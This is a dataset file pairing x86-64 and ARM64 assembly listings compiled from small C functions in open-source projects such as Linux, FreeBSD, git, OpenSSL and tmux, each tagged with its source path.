.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ag71xx_debugfs_update_int_stats ; -- Begin function ag71xx_debugfs_update_int_stats .p2align 2 _ag71xx_debugfs_update_int_stats: ; @ag71xx_debugfs_update_int_stats .cfi_startproc ; %bb.0: cbz w1, LBB0_2 ; %bb.1: ldr w8, [x0, #24] add w8, w8, #1 str w8, [x0, #24] LBB0_2: Lloh0: adrp x8, _AG71XX_INT_TX_PS@GOTPAGE Lloh1: ldr x8, [x8, _AG71XX_INT_TX_PS@GOTPAGEOFF] Lloh2: ldr w8, [x8] tst w8, w1 b.eq LBB0_4 ; %bb.3: ldr w8, [x0, #20] add w8, w8, #1 str w8, [x0, #20] LBB0_4: Lloh3: adrp x8, _AG71XX_INT_TX_UR@GOTPAGE Lloh4: ldr x8, [x8, _AG71XX_INT_TX_UR@GOTPAGEOFF] Lloh5: ldr w8, [x8] tst w8, w1 b.eq LBB0_6 ; %bb.5: ldr w8, [x0, #16] add w8, w8, #1 str w8, [x0, #16] LBB0_6: Lloh6: adrp x8, _AG71XX_INT_TX_BE@GOTPAGE Lloh7: ldr x8, [x8, _AG71XX_INT_TX_BE@GOTPAGEOFF] Lloh8: ldr w8, [x8] tst w8, w1 b.eq LBB0_8 ; %bb.7: ldr w8, [x0, #12] add w8, w8, #1 str w8, [x0, #12] LBB0_8: Lloh9: adrp x8, _AG71XX_INT_RX_PR@GOTPAGE Lloh10: ldr x8, [x8, _AG71XX_INT_RX_PR@GOTPAGEOFF] Lloh11: ldr w8, [x8] tst w8, w1 b.eq LBB0_10 ; %bb.9: ldr w8, [x0, #8] add w8, w8, #1 str w8, [x0, #8] LBB0_10: Lloh12: adrp x8, _AG71XX_INT_RX_OF@GOTPAGE Lloh13: ldr x8, [x8, _AG71XX_INT_RX_OF@GOTPAGEOFF] Lloh14: ldr w8, [x8] tst w8, w1 b.eq LBB0_12 ; %bb.11: ldr w8, [x0, #4] add w8, w8, #1 str w8, [x0, #4] LBB0_12: Lloh15: adrp x8, _AG71XX_INT_RX_BE@GOTPAGE Lloh16: ldr x8, [x8, _AG71XX_INT_RX_BE@GOTPAGEOFF] Lloh17: ldr w8, [x8] tst w8, w1 b.eq LBB0_14 ; %bb.13: ldr w8, [x0] add w8, w8, #1 str w8, [x0] LBB0_14: ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17 .cfi_endproc ; -- End function .comm _AG71XX_INT_TX_PS,4,2 ; @AG71XX_INT_TX_PS .comm _AG71XX_INT_TX_UR,4,2 ; @AG71XX_INT_TX_UR .comm _AG71XX_INT_TX_BE,4,2 ; @AG71XX_INT_TX_BE .comm _AG71XX_INT_RX_PR,4,2 ; @AG71XX_INT_RX_PR .comm _AG71XX_INT_RX_OF,4,2 ; @AG71XX_INT_RX_OF .comm _AG71XX_INT_RX_BE,4,2 ; @AG71XX_INT_RX_BE .subsections_via_symbols

AnghaBench/openwrt/target/linux/ath79/files/drivers/net/ethernet/atheros/ag71xx/extr_ag71xx_debugfs.c_ag71xx_debugfs_update_int_stats.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _mpc20_power_on_ogam_lut ## -- Begin function mpc20_power_on_ogam_lut .p2align 4, 0x90 _mpc20_power_on_ogam_lut: ## @mpc20_power_on_ogam_lut .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl %edx, %r14d movl %esi, %ebx callq _TO_DCN20_MPC movq _MPCC_MEM_PWR_CTRL@GOTPCREL(%rip), %rax movq (%rax), %rax movslq %ebx, %rcx movl (%rax,%rcx,4), %edi movq _MPCC_OGAM_MEM_PWR_DIS@GOTPCREL(%rip), %rax movl (%rax), %edx xorl %ecx, %ecx cmpl $1, %r14d sete %cl xorl %esi, %esi popq %rbx popq %r14 popq %rbp jmp _REG_SET ## TAILCALL .cfi_endproc ## -- End function .comm _MPCC_MEM_PWR_CTRL,8,3 ## @MPCC_MEM_PWR_CTRL .comm _MPCC_OGAM_MEM_PWR_DIS,4,2 ## @MPCC_OGAM_MEM_PWR_DIS .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _mpc20_power_on_ogam_lut ; -- Begin function mpc20_power_on_ogam_lut .p2align 2 _mpc20_power_on_ogam_lut: ; @mpc20_power_on_ogam_lut .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x2 mov x20, x1 bl _TO_DCN20_MPC Lloh0: adrp x8, _MPCC_MEM_PWR_CTRL@GOTPAGE Lloh1: ldr x8, [x8, _MPCC_MEM_PWR_CTRL@GOTPAGEOFF] Lloh2: ldr x8, [x8] ldr w0, [x8, w20, sxtw #2] Lloh3: adrp x8, _MPCC_OGAM_MEM_PWR_DIS@GOTPAGE Lloh4: ldr x8, [x8, _MPCC_OGAM_MEM_PWR_DIS@GOTPAGEOFF] Lloh5: ldr w2, [x8] cmp w19, #1 cset w3, eq mov w1, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _REG_SET .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _MPCC_MEM_PWR_CTRL,8,3 ; @MPCC_MEM_PWR_CTRL .comm _MPCC_OGAM_MEM_PWR_DIS,4,2 ; @MPCC_OGAM_MEM_PWR_DIS .subsections_via_symbols

AnghaBench/linux/drivers/gpu/drm/amd/display/dc/dcn20/extr_dcn20_mpc.c_mpc20_power_on_ogam_lut.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function cmdline_add_arg _cmdline_add_arg: ## @cmdline_add_arg .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 cmpq $0, 16(%rdi) je LBB0_1 ## %bb.2: movq %rsi, %r14 movq %rdi, %rbx movq (%rdi), %rdi movl 8(%rbx), %eax leal 16(,%rax,8), %esi callq _realloc movq _ARCHIVE_FATAL@GOTPCREL(%rip), %r15 testq %rax, %rax je LBB0_5 ## %bb.3: movq %rax, (%rbx) movq %r14, %rdi movq %rax, %r14 callq _strdup movslq 8(%rbx), %rcx movq %rax, (%r14,%rcx,8) movq (%rbx), %rax cmpq $0, (%rax,%rcx,8) je LBB0_5 ## %bb.4: leaq 1(%rcx), %rdx movl %edx, 8(%rbx) movq $0, 8(%rax,%rcx,8) movq _ARCHIVE_OK@GOTPCREL(%rip), %r15 jmp LBB0_5 LBB0_1: movq _ARCHIVE_FAILED@GOTPCREL(%rip), %r15 LBB0_5: movl (%r15), %eax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __DATA,__data .globl _g_aug_volatile_4005 ## @g_aug_volatile_4005 .p2align 2, 0x0 _g_aug_volatile_4005: .long 8 ## 0x8 .comm _ARCHIVE_FAILED,4,2 ## @ARCHIVE_FAILED .comm _ARCHIVE_FATAL,4,2 ## @ARCHIVE_FATAL .comm _ARCHIVE_OK,4,2 ## @ARCHIVE_OK .no_dead_strip _cmdline_add_arg .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function cmdline_add_arg _cmdline_add_arg: ; @cmdline_add_arg .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 ldr x8, [x0, #16] cbz x8, LBB0_5 ; %bb.1: mov x20, x1 mov x19, x0 ldr x0, [x0] ldr w8, [x19, #8] lsl w8, w8, #3 add w1, w8, #16 bl _realloc cbz x0, LBB0_4 ; %bb.2: str x0, [x19] mov x21, x0 mov x0, x20 bl _strdup ldrsw x9, [x19, #8] str x0, [x21, x9, lsl #3] ldr x8, [x19] ldr x10, [x8, x9, lsl #3] cbz x10, LBB0_4 ; %bb.3: add x9, x9, #1 str w9, [x19, #8] str xzr, [x8, x9, lsl #3] Lloh0: adrp x8, _ARCHIVE_OK@GOTPAGE Lloh1: ldr x8, [x8, _ARCHIVE_OK@GOTPAGEOFF] b LBB0_6 LBB0_4: Lloh2: adrp x8, _ARCHIVE_FATAL@GOTPAGE Lloh3: ldr x8, [x8, _ARCHIVE_FATAL@GOTPAGEOFF] b LBB0_6 LBB0_5: Lloh4: adrp x8, _ARCHIVE_FAILED@GOTPAGE Lloh5: ldr x8, [x8, _ARCHIVE_FAILED@GOTPAGEOFF] LBB0_6: ldr w0, [x8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh4, Lloh5 .cfi_endproc ; -- End function .section __DATA,__data .globl _g_aug_volatile_4005 ; @g_aug_volatile_4005 .p2align 2, 0x0 _g_aug_volatile_4005: .long 8 ; 0x8 .comm _ARCHIVE_FAILED,4,2 ; @ARCHIVE_FAILED .comm _ARCHIVE_FATAL,4,2 ; @ARCHIVE_FATAL .comm _ARCHIVE_OK,4,2 ; @ARCHIVE_OK .no_dead_strip _cmdline_add_arg .subsections_via_symbols

assembly_file_25405.c

assembly_dataset

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ieee80211_add_htcap ## -- Begin function ieee80211_add_htcap .p2align 4, 0x90 _ieee80211_add_htcap: ## @ieee80211_add_htcap .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq _IEEE80211_ELEMID_HTCAP@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, (%rdi) movl $2, 4(%rdi) addq $8, %rdi popq %rbp jmp _ieee80211_add_htcap_body ## TAILCALL .cfi_endproc ## -- End function .comm _IEEE80211_ELEMID_HTCAP,4,2 ## @IEEE80211_ELEMID_HTCAP .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ieee80211_add_htcap ; -- Begin function ieee80211_add_htcap .p2align 2 _ieee80211_add_htcap: ; @ieee80211_add_htcap .cfi_startproc ; %bb.0: Lloh0: adrp x8, _IEEE80211_ELEMID_HTCAP@GOTPAGE Lloh1: ldr x8, [x8, _IEEE80211_ELEMID_HTCAP@GOTPAGEOFF] Lloh2: ldr w8, [x8] mov w9, #2 stp w8, w9, [x0], #8 b _ieee80211_add_htcap_body .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _IEEE80211_ELEMID_HTCAP,4,2 ; @IEEE80211_ELEMID_HTCAP .subsections_via_symbols

AnghaBench/freebsd/sys/net80211/extr_ieee80211_ht.c_ieee80211_add_htcap.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function check_and_freshen _check_and_freshen: ## @check_and_freshen .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl %esi, %r14d movq %rdi, %rbx callq _check_and_freshen_local movq %rax, %rcx movl $1, %eax testq %rcx, %rcx jne LBB0_2 ## %bb.1: movq %rbx, %rdi movl %r14d, %esi callq _check_and_freshen_nonlocal movq %rax, %rcx xorl %eax, %eax testq %rcx, %rcx setne %al LBB0_2: popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _check_and_freshen .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function check_and_freshen _check_and_freshen: ; @check_and_freshen .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x1 mov x20, x0 bl _check_and_freshen_local cbz x0, LBB0_2 ; %bb.1: mov w0, #1 b LBB0_3 LBB0_2: mov x0, x20 mov x1, x19 bl _check_and_freshen_nonlocal cmp x0, #0 cset w0, ne LBB0_3: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _check_and_freshen .subsections_via_symbols

AnghaBench/git/extr_sha1-file.c_check_and_freshen.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function check_id_error _check_id_error: ## @check_id_error .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %esi, %ecx movl (%rdi), %esi xorl %edx, %edx popq %rbp jmp _verify_cb_cert ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _check_id_error .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function check_id_error _check_id_error: ; @check_id_error .cfi_startproc ; %bb.0: mov x3, x1 ldr w1, [x0] mov w2, #0 b _verify_cb_cert .cfi_endproc ; -- End function .no_dead_strip _check_id_error .subsections_via_symbols

AnghaBench/openssl/crypto/x509/extr_x509_vfy.c_check_id_error.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _rose_validate_nr ## -- Begin function rose_validate_nr .p2align 4, 0x90 _rose_validate_nr: ## @rose_validate_nr .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movl %esi, %ebx callq _rose_sk movzwl (%rax), %edx movzwl 2(%rax), %ecx cmpw %cx, %dx je LBB0_5 ## %bb.1: movq _ROSE_MODULUS@GOTPCREL(%rip), %rax movzwl (%rax), %esi .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 cmpw %bx, %dx je LBB0_3 ## %bb.4: ## in Loop: Header=BB0_2 Depth=1 movzwl %dx, %eax incl %eax xorl %edx, %edx divl %esi cmpw %dx, %cx jne LBB0_2 LBB0_5: xorl %eax, %eax cmpw %bx, %cx sete %al jmp LBB0_6 LBB0_3: movl $1, %eax LBB0_6: addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .comm _ROSE_MODULUS,2,1 ## @ROSE_MODULUS .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _rose_validate_nr ; -- Begin function rose_validate_nr .p2align 2 _rose_validate_nr: ; @rose_validate_nr .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x1 bl _rose_sk ldrh w9, [x0] ldrh w8, [x0, #2] cmp w9, w8 b.eq LBB0_4 ; %bb.1: Lloh0: adrp x10, _ROSE_MODULUS@GOTPAGE Lloh1: ldr x10, [x10, _ROSE_MODULUS@GOTPAGEOFF] ldrh w10, [x10] LBB0_2: ; =>This Inner Loop Header: Depth=1 cmp w9, w19 b.eq LBB0_5 ; %bb.3: ; in Loop: Header=BB0_2 Depth=1 add w9, w9, #1 udiv w11, w9, w10 msub w9, w11, w10, w9 cmp w8, w9 b.ne LBB0_2 LBB0_4: cmp w8, w19 cset w0, eq b LBB0_6 LBB0_5: mov w0, #1 LBB0_6: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _ROSE_MODULUS,2,1 ; @ROSE_MODULUS .subsections_via_symbols

AnghaBench/fastsocket/kernel/net/rose/extr_rose_subr.c_rose_validate_nr.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _tegra_drm_free ## -- Begin function tegra_drm_free .p2align 4, 0x90 _tegra_drm_free: ## @tegra_drm_free .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %ecx, %r15d movq %rdx, %r14 movq %rdi, %rbx cmpq $0, 8(%rdi) je LBB0_2 ## %bb.1: movq %rbx, %rdi callq _iova_align jmp LBB0_3 LBB0_2: movq %rsi, %rdi callq _PAGE_ALIGN LBB0_3: movq %rax, %r12 movq 8(%rbx), %rdi testq %rdi, %rdi je LBB0_5 ## %bb.4: movl %r15d, %esi movq %r12, %rdx callq _iommu_unmap movq %rbx, %rdi movl %r15d, %esi callq _iova_pfn movq %rbx, %rdi movl %eax, %esi callq _free_iova LBB0_5: movq %r12, %rdi callq _get_order movq %r14, %rdi movl %eax, %esi popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp jmp _free_pages ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _tegra_drm_free ; -- Begin function tegra_drm_free .p2align 2 _tegra_drm_free: ; @tegra_drm_free .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x21, x3 mov x19, x2 mov x20, x0 ldr x8, [x0, #8] cbz x8, LBB0_2 ; %bb.1: mov x0, x20 bl _iova_align b LBB0_3 LBB0_2: mov x0, x1 bl _PAGE_ALIGN LBB0_3: mov x22, x0 ldr x0, [x20, #8] cbz x0, LBB0_5 ; %bb.4: mov x1, x21 mov x2, x22 bl _iommu_unmap mov x0, x20 mov x1, x21 bl _iova_pfn mov x1, x0 mov x0, x20 bl _free_iova LBB0_5: mov x0, x22 bl _get_order mov x1, x0 mov x0, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _free_pages .cfi_endproc ; -- End function .subsections_via_symbols

AnghaBench/linux/drivers/gpu/drm/tegra/extr_drm.c_tegra_drm_free.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _so_protosw_get ## -- Begin function so_protosw_get .p2align 4, 0x90 _so_protosw_get: ## @so_protosw_get .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq (%rdi), %rax popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _so_protosw_get ; -- Begin function so_protosw_get .p2align 2 _so_protosw_get: ; @so_protosw_get .cfi_startproc ; %bb.0: ldr x0, [x0] ret .cfi_endproc ; -- End function .subsections_via_symbols

AnghaBench/freebsd/sys/kern/extr_uipc_socket.c_so_protosw_get.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _window_update_activity ## -- Begin function window_update_activity .p2align 4, 0x90 _window_update_activity: ## @window_update_activity .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx xorl %esi, %esi callq _gettimeofday movq _WINDOW_ACTIVITY@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi addq $8, %rsp popq %rbx popq %rbp jmp _alerts_queue ## TAILCALL .cfi_endproc ## -- End function .comm _WINDOW_ACTIVITY,4,2 ## @WINDOW_ACTIVITY .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _window_update_activity ; -- Begin function window_update_activity .p2align 2 _window_update_activity: ; @window_update_activity .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 mov x1, #0 bl _gettimeofday Lloh0: adrp x8, _WINDOW_ACTIVITY@GOTPAGE Lloh1: ldr x8, [x8, _WINDOW_ACTIVITY@GOTPAGEOFF] Lloh2: ldr w1, [x8] mov x0, x19 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _alerts_queue .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _WINDOW_ACTIVITY,4,2 ; @WINDOW_ACTIVITY .subsections_via_symbols

AnghaBench/tmux/extr_window.c_window_update_activity.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function zfcp_fc_ns_gid_pn _zfcp_fc_ns_gid_pn: ## @zfcp_fc_ns_gid_pn .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r14 movq (%rdi), %r12 movl (%r12), %edi movq _GFP_ATOMIC@GOTPCREL(%rip), %rax movl (%rax), %esi callq _mempool_alloc testq %rax, %rax je LBB0_1 ## %bb.2: movq %rax, %r15 movq %rax, %rdi xorl %esi, %esi movl $4, %edx callq _memset movq 8(%r12), %rdi callq _zfcp_fc_wka_port_get movl %eax, %ebx testl %eax, %eax jne LBB0_4 ## %bb.3: movq %r14, %rdi movq %r15, %rsi callq _zfcp_fc_ns_gid_pn_request movl %eax, %ebx movq 8(%r12), %rdi callq _zfcp_fc_wka_port_put LBB0_4: movl (%r12), %esi movq %r15, %rdi callq _mempool_free jmp LBB0_5 LBB0_1: movq _ENOMEM@GOTPCREL(%rip), %rax xorl %ebx, %ebx subl (%rax), %ebx LBB0_5: movl %ebx, %eax popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _GFP_ATOMIC,4,2 ## @GFP_ATOMIC .comm _ENOMEM,4,2 ## @ENOMEM .no_dead_strip _zfcp_fc_ns_gid_pn .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function zfcp_fc_ns_gid_pn _zfcp_fc_ns_gid_pn: ; @zfcp_fc_ns_gid_pn .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x20, x0 ldr x22, [x0] ldr w0, [x22] Lloh0: adrp x8, _GFP_ATOMIC@GOTPAGE Lloh1: ldr x8, [x8, _GFP_ATOMIC@GOTPAGEOFF] Lloh2: ldr w1, [x8] bl _mempool_alloc cbz x0, LBB0_4 ; %bb.1: mov x19, x0 mov w1, #0 mov w2, #4 bl _memset ldr x0, [x22, #8] bl _zfcp_fc_wka_port_get mov x21, x0 cbnz w0, LBB0_3 ; %bb.2: mov x0, x20 mov x1, x19 bl _zfcp_fc_ns_gid_pn_request mov x21, x0 ldr x0, [x22, #8] bl _zfcp_fc_wka_port_put LBB0_3: ldr w1, [x22] mov x0, x19 bl _mempool_free b LBB0_5 LBB0_4: Lloh3: adrp x8, _ENOMEM@GOTPAGE Lloh4: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh5: ldr w8, [x8] neg w21, w8 LBB0_5: mov x0, x21 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .comm _GFP_ATOMIC,4,2 ; @GFP_ATOMIC .comm _ENOMEM,4,2 ; @ENOMEM .no_dead_strip _zfcp_fc_ns_gid_pn .subsections_via_symbols

AnghaBench/linux/drivers/s390/scsi/extr_zfcp_fc.c_zfcp_fc_ns_gid_pn.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function tl_store_bool_stat _tl_store_bool_stat: ## @tl_store_bool_stat .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl %edi, %r14d movq _TL_BOOL_STAT@GOTPCREL(%rip), %rax movl (%rax), %edi callq _tl_store_int xorl %edi, %edi xorl %ebx, %ebx testl %r14d, %r14d setg %dil setle %bl callq _tl_store_int movl %ebx, %edi callq _tl_store_int xorl %edi, %edi popq %rbx popq %r14 popq %rbp jmp _tl_store_int ## TAILCALL .cfi_endproc ## -- End function .comm _TL_BOOL_STAT,4,2 ## @TL_BOOL_STAT .no_dead_strip _tl_store_bool_stat .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function tl_store_bool_stat _tl_store_bool_stat: ; @tl_store_bool_stat .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 Lloh0: adrp x8, _TL_BOOL_STAT@GOTPAGE Lloh1: ldr x8, [x8, _TL_BOOL_STAT@GOTPAGEOFF] Lloh2: ldr w0, [x8] bl _tl_store_int cmp w19, #0 cset w0, gt bl _tl_store_int cmp w19, #1 cset w0, lt bl _tl_store_int mov w0, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _tl_store_int .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _TL_BOOL_STAT,4,2 ; @TL_BOOL_STAT .no_dead_strip _tl_store_bool_stat .subsections_via_symbols

AnghaBench/kphp-kdb/hints/extr_hints-engine.c_tl_store_bool_stat.c

anghabench

